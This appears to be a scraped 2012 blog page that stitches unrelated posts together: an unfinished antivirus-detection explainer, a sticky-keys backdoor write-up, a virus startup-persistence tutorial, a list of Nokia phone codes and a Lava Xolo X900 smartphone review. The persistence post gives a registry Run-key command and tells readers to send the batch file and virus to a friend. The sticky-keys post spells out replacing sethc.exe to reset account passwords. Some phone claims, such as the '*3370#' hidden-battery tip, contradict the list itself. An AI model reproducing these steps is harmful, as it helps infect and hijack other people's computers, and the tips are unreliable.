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Thursday, May 10, 2012

How Do Anti-Virus programs Detect Virus?

How Anti-Virus Do programs Detect Virus?

Many Of us wonder how our Antivirus software scans for Virus, Worm, Trojan.We scan a Folder Or Local Drive for Virus but what actually happens during the Virus Scan Period
5 Techniques used by Anti Virus Program to Detect Malware:
1.Signature Based Scan.
2. Heuristic Based Scan.
3. Threat Sense Technology.
4. Artificial Intelligence (Behavioral Antivirus Programs).
5. Proactive Defense.
1. Signature Based Scan:

Secure your Computer by Sticky Key Attack

Hello Guys,
This Time I wanna tell you some more about the Sticky keys  Attack  i.e totally about making a backdoor  in other system by replacing sethc.exe file with cmd.exe and after that u have to press Shift key 5 times on login screen and you get the cmd or command Prompt on login screen and run the ‘net user ’ command to change the password  of administrator or any account in the system. This is all about the attack, now how can I Secure my system by this attack for that you have to fallow few steps  as fallowing:
Windows XP:
  1. Check for sticky key backdoor

Execute virus on Start up

Hello guys,
You must be familiar with viruses and probably you must be knowing how we can create them. Once the virus get executed it will show its impact but it will last till the system is turn on, If you will turn off the system all the process of the virus will also get killed.
So our requirement is to run our virus again even if the system get rebooted. So for that we will have to send our virus on start up. But we don’t want to send it manually instead of that we would like to send it with the help of batch file.
So let us take we are having a virus demo.exe.
Follow the following steps for sending it on Start up.
1. Open a Notepad file
2. Write down the following command
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v demo /t REG_SZ /d demo.exe
3. Now save the notepad file with any name say kyrion but extension should be bat. Means we will have to create a batch file eg: kyrion.bat
4. Now send kyrion.bat along with demo.exe virus to your friend. Whenever he will click on kyrion.bat file automatically demo.exe will reach at the start up.
5. Now the impact of the virus will also be visible after the restart of the system.


Nokia Mobile Phone HACK Codes

1.  Imagine ur cell battery is very low, u r expecting an important call and u don’t have a charger.
     Nokia instrument comes with a reserve battery. To activate, key is “*3370#”
     Ur cell will restart with this reserve and ur instrument will show a 50% increase in battery.
     This reserve will get charged when u charge ur cell next time.
     *3370# Activate Enhanced Full Rate Codec (EFR)-Your phone uses the best sound quality but talk time    is reduced by approx 5%
     #3370# Deactivate Enhanced Full Rate Codec( EFR)
     *#4720# Activate Half Rate Codec – Your phone uses a lower quality sound but you should gain approx 30% more Talk Time
     *#4720# Deactivate Half Rate Codec
2.  *#0000# Displays your phones software version,
      1st Line :  Software Version,
      2nd Line : Software Release Date,
      3rd Line : Compression Type
3.  *#9999# Phones software version if *#0000# does not work.
4.  *#06# For checking the International Mobile Equipment Identity (IMEI Number).
5.  #pw+1234567890+1# Provider Lock Status. (use the “*” button to obtain the “p,w” and “+” symbols).
6.  #pw+1234567890+2# Network Lock Status. (use the “*” button to obtain the “p,w” and “+” symbols).
7.  #pw+1234567890+3# Country Lock Status. (use the “*” button to obtain the “p,w” and “+” symbols).
8.  #pw+1234567890+4# SIM Card Lock Status.(use the “*” button to obtain the “p,w” and “+” symbols).
9.  *#147# (vodafone) this lets you know who called you last *#1471# Last call (Only vodofone).
10.  *#21# Allows you to check the number that “All Calls” are diverted to.
11.  *#2640# Displays security code in use.
12.  *#30# Lets you see the private number.
13.  *#43# Allows you to check the “Call Waiting” status of your phone.
14.  *#61# Allows you to check the number that “On No Reply” calls are diverted to.
15.  *#62# Allows you to check the number that “Divert If Unreachable(no service)” calls are diverted to.
16.  *#67# Allows you to check the number that “On Busy Calls” are diverted to.
17.  *#67705646# removes operator logo on 3310 & 3330
18.  *#73# Reset phone timers and game scores
19.  *#746025625# Displays the SIM Clock status, if your phone supports this power saving feature “SIM Clock Stop Allowed”, it means you will get the best standby time possible
20.  *#7760# Manufactures code
21.  *#7780# Restore factory settings
22.  *#8110# Software version for the nokia 8110
23.  *#92702689# (to remember *#WARRANTY#)
      Displays -
      1. Serial Number,
      2.Date Made
      3.Purchase Date,
      4.Date of last repair (0000 for no repairs),
      5.Transfer User Data.
      To exit this mode -you need to switch your phone off then on again
24.  *#94870345123456789# Deactivate the PWM-Mem
25.  **21*number# Turn on “All Calls” diverting to the phone number entered
26.  **61*number# Turn on “No Reply” diverting to the phone number entered
27.  **67*number# Turn on “On Busy” diverting to the phone number entered
  Each command is prefixed with either one or two * or # characters as follows:
   ** Register and Activate
   * Activate  
    ## De-Register (and Deactivate)
    # Deactivate
    *# Check Status
    © Call button
Once each command has been entered, if it is a network command (as opposed to a local handset command) it must be transmitted to the network by pressing the YES (receiver) key which acts as an enter key – this is represented here with the © character. Always enter numbers in full international format +CountryAreaNumber ( e.g. +447712345678).
Security
Change call barring code **03*OldCode*NewCode*NewCode#©
Change call barring code **03*330*OldCode*NewCode*NewCode#©
Change PIN code **04*OldPIN*NewPIN*NewPIN#©
Change PIN2 code **042*OldPIN2*NewPIN2*NewPIN2#©
Unlock PIN code (when PIN is entered wrong 3 times) **05*PUK*NewPIN*NewPIN#©
Unlock PIN2 code (when PIN2 is entered wrong 3 times) **052*PUK2*NewPIN2*NewPIN2#©
Display IMEI *#06#
Call Forwarding (Diversions)
De-register all call diversions ##002#©
Set all configured call diversions to number and activate **004*number#©
De-register all configured call diversions (no answer, not reachable, busy) ##004#©
Unconditionally divert all calls to number and activate **21*number#©
Activate unconditionally divert all calls *21#©
De-register unconditionally divert all calls ##21#©
Deactivate unconditionally divert all calls #21#©
Check status of unconditionally divert all calls *#21#©
Divert on no answer to number and activate **61*number#©
Activate divert on no answer *61#©
De-register divert on no answer ##61#©
Deactivate divert on no answer #61#©
Check status of divert on no answer *#61#©
Divert on not reachable to number and activate **62*number#©
Activate divert on not reachable *62#©
De-register divert on not reachable ##62#©
Deactivate divert on not reachable #62#©
Check status of divert on not reachable *#62#©
Divert on busy to number and activate  **67*number#©
Activate divert on busy *67#©
De-register divert on busy ##67#©
Deactivate divert on busy #67#©
Check status of divert on busy *#67#©
Change number of seconds of ringing for the given service before diverting a call (such as on no answer). Seconds must be a value from 5 to 30. De-registering the same divert will also delete this change! **service*number**seconds#© (Service numbers, see below)
Call barring
Activate barring all outgoing calls (see Security to set code) **33*code#©
Deactivate barring all outgoing calls #33*code#©
Check status of barring all outgoing calls *#33#©
Activate barring all calls **330*code#©
Deactivate barring all calls #330*code#©
Check status of barring all calls *#330*code#©
Activate barring all outgoing international calls **331*code#©
Deactivate barring all outgoing international calls #331*code#©
Check status of barring all outgoing international calls *#331#©
Activate barring all outgoing international calls except to home country **332*code#©
Deactivate barring all outgoing international calls except to home country #332*code#©
Check status of barring all outgoing international calls except to home country *#332#©
Activate barring all outgoing calls **333*code#©
Deactivate barring all outgoing calls #333*code#©
Check status of barring all outgoing calls *#333#©
Activate barring all incoming calls **35*code#©
Deactivate barring all incoming calls #35*code#©
Check status of barring all incoming calls *#35#©
Activate barring all incoming calls when roaming **351*code#©
Deactivate barring all incoming calls when roaming #351*code#©
Check status of barring all incoming calls when roaming *#351#©
Activate barring all incoming calls **353*code#©
Deactivate barring all incoming calls #353*code#©
Check status of barring all incoming calls *#353#©
Call waiting
Activate call waiting *43*#©
Deactivate call waiting #43##©
Check status of call waiting *#43#©
Calling Line Identification
The following only works if CLIP and CLIR are enabled (ask your service provider)
CLIP: Presentation of the number of the incoming call
Activate CLIP **30#©
Deactivate CLIP ##30#©
Check status of CLIP *#30#©
CLIR: Presentation of one’s own number to the to the called party
Activate CLIR **31#©
Activate CLIR for the actual call *31#number©
Deactivate CLIR ##31#©
Deactivate CLIR for the actual call #31#number©
Check status of CLIR *#31#©
COLP: Presentation of the actual number reached (if number called was diverted to another number
Activate COLP *76#©
Deactivate COLP #76#©
Check status of COLP *#76#©
COLR: Presentation of the original number called by the calling party (if the call was diverted to this cellphone)
Activate COLR *77#©
Deactivate COLR #77#©
Check status of COLR *#77#©

Wednesday, May 9, 2012

Lava Xolo X900 Review - The First Intel Medfield Phone

Lava Xolo X900 Review - The First Intel Medfield Phone

For Intel, the road to their first real competitive smartphone SoC has been a long one. Shortly after joining AnandTech and beginning this journey writing about both smartphones and the SoC space, I remember hopping on a call with Anand and some Intel folks to talk about Moorestown. While we never did see Moorestown in a smartphone, we did see it in a few tablets, and even looked at performance in an OpenPeak Tablet at IDF 2011. Back then performance was more than competitive against the single core Cortex A8s in a number of other devices, but power profile, lack of ISP, video encode, decode, or PoP LPDDR2 support, and the number of discrete packages required to implement Moorestown, made it impossible to build a smartphone around. While Moorestown was never the success that Intel was hoping for, it paved the way for something that finally brings x86 both down to a place on the power-performance curve that until now has been dominated by ARM-powered SoCs, and includes all the things hanging off the edges that you need (ISP, encode, decode, integrated memory controller, etc), and it’s called Medfield. With Medfield, Intel finally has a real, bona fide SoC that is already in a number of devices shipping before the end of 2012.
In both an attempt to prove that its Medfield platform is competitive enough to ship in actual smartphones, and speed up the process of getting the platform to market, Intel created its own smartphone Form Factor Reference Design (FFRD). While the act of making a reference device is wholly unsurprising since it’s analogous to Qualcomm’s MSM MDPs or even TI’s OMAP Blaze MDP, what is surprising is its polish and aim. We’ve seen and talked about the FFRD a number of times before, including our first glimpse at IDF 2011 and numerous times since then. Led by Mike Bell (of Apple and Palm, formerly), a team at Intel with the mandate of making smartphone around Medfield created a highly polished device as both a demonstration platform for OEM customers and for sale directly to the customer through participating carriers. This FFRD has served as the basis for the first Medfield smartphones that will (and already are) shipping this year, including the Orange Santa Clara, Lenovo K800, and the device we’re looking at today, the Lava Xolo X900. Future Medfield-based devices will deviate from the FFRD design (like the upcoming Motorola device), but will still be based loosely on the whole Medfield platform. For now, in the form of the X900 we’re basically looking at the FFRD with almost no adulteration from carriers or other OEMs.
The purpose and scope of this review is ambitious and really covers two things - both an overview of Intel’s Medfield platform built around the Atom Z2460 Penwell SoC, and a review of the Xolo X900 smartphone FFRD derivative itself.

The Device

Beginning April 23rd, Intel, through Lava International, began selling the Xolo X900 smartphone in India for INR 22000 (~$420 USD). As we’ve stated before, the design and construction of the Xolo X900 almost identically mirrors the Intel FFRD we’ve seen before, from the specifications and Medfield platform itself, to industrial design and exterior buttons.
It’s a testament to the polish of the reference design that Mike Bell’s team put together that Intel is confident enough to basically sell exactly that device through carrier partners. I’ll admit I was skeptical upon hearing that Intel would basically be selling their MDP to customers, but the device’s fit and polish exceeded my expectations and are clearly those of something ready for customer abuse. First up are the X900 specifications in our regular table, Xolo also has its own nicely presented specifications page for the X900 online.
Physical Comparison
Apple iPhone 4S Samsung Galaxy S 2 Samsung Galaxy Nexus (GSM/UMTS) Lava Xolo X900
Height 115.2 mm (4.5") 125.3 mm (4.93") 135.5 mm (5.33") 123 mm (4.84")
Width 58.6 mm (2.31") 66.1 mm (2.60") 67.94 mm (2.67) 63 mm (2.48")
Depth 9.3 mm ( 0.37") 8.49 mm (0.33") 8.94 mm (0.35") 10.99 mm (0.43")
Weight 140 g (4.9 oz) 115 g (4.06 oz) 135 g (4.8 oz) 127 g (4.5 oz)
CPU Apple A5 @ ~800MHz Dual Core Cortex A9 1.2 GHz Exynos 4210 Dual Core Cortex A9 1.2 GHz Dual Core Cortex-A9 OMAP 4460 1.6 GHz Intel Atom Z2460 with HT (1C2T)
GPU PowerVR SGX 543MP2 ARM Mali-400 PowerVR SGX 540 @ 304 MHz PowerVR SGX 540 @ 400 MHz
RAM 512MB LPDDR2-800 1 GB LPDDR2 1 GB LPDDR2 1 GB LPDDR2 @ 400 MHz
NAND 16GB, 32GB or 64GB integrated 16 GB NAND with up to 32 GB microSD 16/32 GB NAND 16 GB NAND
Camera 8 MP with LED Flash + Front Facing Camera 8 MP AF/LED flash, 2 MP front facing 5 MP with AF/LED Flash, 1080p30 video recording, 1.3 MP front facing 8 MP with AF/LED Flash, 1080p30 video recording, 1.3 MP front facing
Screen 3.5" 640 x 960 LED backlit LCD 4.27" 800 x 480 SAMOLED+ 4.65" 1280x720 SAMOLED HD 4.03" 1024x600 LED backlit LCD
Battery Internal 5.3 Whr Removable 6.11 Whr Removable 6.48 Whr Internal 5.4 Whr
It’s interesting to me that Intel, Qualcomm, and others identified and went with WSVGA (1024x600) for their reference designs in roughly the same 4" size. It’s a display form factor that corresponds almost exactly to 300 PPI, and looks great, but more on that later. The rest of the X900 is basically what you’d expect for a smartphone of this generation, and on par with the Android competition that Intel was targeting, perhaps minus microSD expansion.
The design language of the X900 (and Intel FFRD) is a pretty obvious nod to the iPhone 4/4S design, complete with chrome ring, similar button placement, and a few other things. Likewise, the X900 uses a microSIM whose tray is located on the right side and makes use of an ejector port and tool. Below that is the X900’s two-stage camera button, and then speaker port. There’s a matching speaker port on the other side in the same area.
MicroUSB is located at the very bottom slightly off center, and microHDMI is on the left side. Up at the top is power/standby and the standard headphone jack. There’s no real surprises here, and despite being entirely plastic-clad, the X900 feels pretty decent in the hand.
The backside is a soft touch material which we’ve seen and felt on countless other smartphones before. The only downside to the X900 design is lack of a user replaceable battery - the backside is permanently attached. At the top is the 8 MP camera port, adjacent LED flash, and secondary microphone for noise suppression.

The front of the X900 is likewise pretty standard fare, up top are the 1.3 MP front facing camera, speaker grille, ambient light sensor, and proximity sensor. At the bottom are the four Android capacitive buttons whose design mirrors the FFRD we’ve seen before.


Again there’s nothing super crazy about the design or construction of the X900, it’s an extremely polished reference designed turned consumer electronic that feels solid and ready for use as a daily driver if you’re up for it. Enough about the superficial stuff though, let’s talk about what everyone wants to know about - Medfield and Android on x86.